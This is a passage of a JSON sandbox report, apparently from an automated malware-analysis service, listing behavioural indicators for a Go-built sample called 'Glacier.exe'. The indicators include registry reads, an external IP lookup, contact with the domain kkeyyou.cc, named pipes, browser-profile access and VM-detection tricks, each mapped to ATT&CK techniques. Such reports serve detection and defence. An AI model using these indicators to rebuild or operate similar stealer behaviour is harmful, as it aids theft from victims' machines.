Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"Glacier.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"98,6332,108,,GetWindowTextA,user32.dll,\"00:43:35.281\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"Glacier.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"Glacier.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00001176-00000C17-1608899315\n \"Glacier.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00001176-00000C17-1615322324","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Glacier.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Glacier.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$36","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"Glacier.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"Glacier.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"Glacier.exe\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found string \"syscall.GetCommandLine\" (Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$37","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"Glacier.exe\" called \"CreateDirectoryA\" with parameter %APPDATA%\\Microsoft (UID: 00000000-00001176)\n \"Glacier.exe\" called \"CreateDirectoryA\" with parameter %APPDATA%\\Microsoft\\Vault (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a named pipe","description":"\"Glacier.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\.\\pipe\\akg_e8803712_498\"\n dwOpenMode: \"1\"\n dwPipeMode: \"0\" - (UID: 00000000-00001176)\n \"Glacier.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\.\\pipe\\akg_e88031e1_498\"\n dwOpenMode: \"1\"\n dwPipeMode: \"0\" - (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-275","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"Glacier.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\akg_e8803712_498\" - (UID: 00000000-00001176)\n \"Glacier.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\akg_e88031e1_498\" - (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"kkeyyou.cc\"\n \"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.197.60:443\"\n \"208.95.112.1:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"Glacier.exe\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"PR_CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"PR_CreateProcessDetached\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"Glacier.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"Glacier.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to load modules (API string)","description":"Found reference to API \"SymLoadModule64\" (Indicator: \"LoadModule\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"SECMOD_LoadModule\" (Indicator: \"LoadModule\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-424","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"Glacier.exe\")\n Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"Glacier.exe\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"Glacier.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GetLastErrorRelaGetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found reference to API \"MOZ_RELEASE_ASSERT(GetLastError() == 1460L)\" (Indicator: \"GetLastError\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$40","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"Glacier.exe\" failed to load missing module \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release/nssckbi.dll\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Glacier.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"igca@sgdn.pm.gouv.fr\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT %lu.%lu; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"User-Agent: Microsoft-CryptoAPI/10.0\" (Indicator: \"user-agent: \"; Source: \"00000000-00001176.00000000.167448.7B7A0000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\akg_e8803712_498\n Found string - \\\\.\\pipe\\akg_e88031e1_498\n Found string - \\\\.\\pipe\\akg_%lx_%lx","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$41","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https_discordapp.com_0\" (Indicator: \"discordapp.com\")\n \"discordapp.com\" (Indicator: \"discordapp.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"\"GET /json/?fields=query,countryCode,city,isp HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\" Response ==> HTTP/1.1 200 OK\nDate: Fri\n 02 Oct 2026 19:27:00 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 88\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>7B22636F756E747279436F6465223A225553222C2263697479223A2253616E746120436C617261222C22697370223A225A61796F2042616E647769647468222C.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"chrome.exe\" (UID: 00000000-00002924)\n Launches browser \"msedge.exe\" (UID: 00000000-00005528)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$42","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 94980000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Glacier.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A30B0000\n \"Glacier.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at A2190000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A30B0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Glacier.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at A41E0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at A41E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Glacier.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Glacier.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Glacier.exe\" has an writable section named \".data\"\n \"Glacier.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"Glacier.exe\" file has an entrypoint instructions - \"jmp\t0x464320,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x505600\" greater than 0x100000\n Raw size of \".rdata\" is \"0x306400\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x5055b7\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x306270\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"JiAQg1fZCWcDm5A087zE/GsDDkpdDOlRPv8UwqNyR/p97MVt5MNYYqqRjE5cW9/SsUbrVrMekvPG4aXSPjn\"\" (Indicator: \"Go build ID: \"JiAQg1fZCWcDm5A087zE/GsDDkpdDOlRPv8UwqNyR/p97MVt5MNYYqqRjE5cW9/SsUbrVrMekvPG4aXSPjn\")\" in Source: Glacier.exe","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"taskkill.exe\" (UID: 00000000-00004772) was launched with new environment variables: \"USERDNSDOMAIN=\"7cK2GO86SEw1teq\"\"\n Process \"taskkill.exe\" (UID: 00000000-00004772) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"\n \"kkeyyou.cc\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"Glacier.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"Glacier.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$44","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 416393)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$45","origin":"Certificate 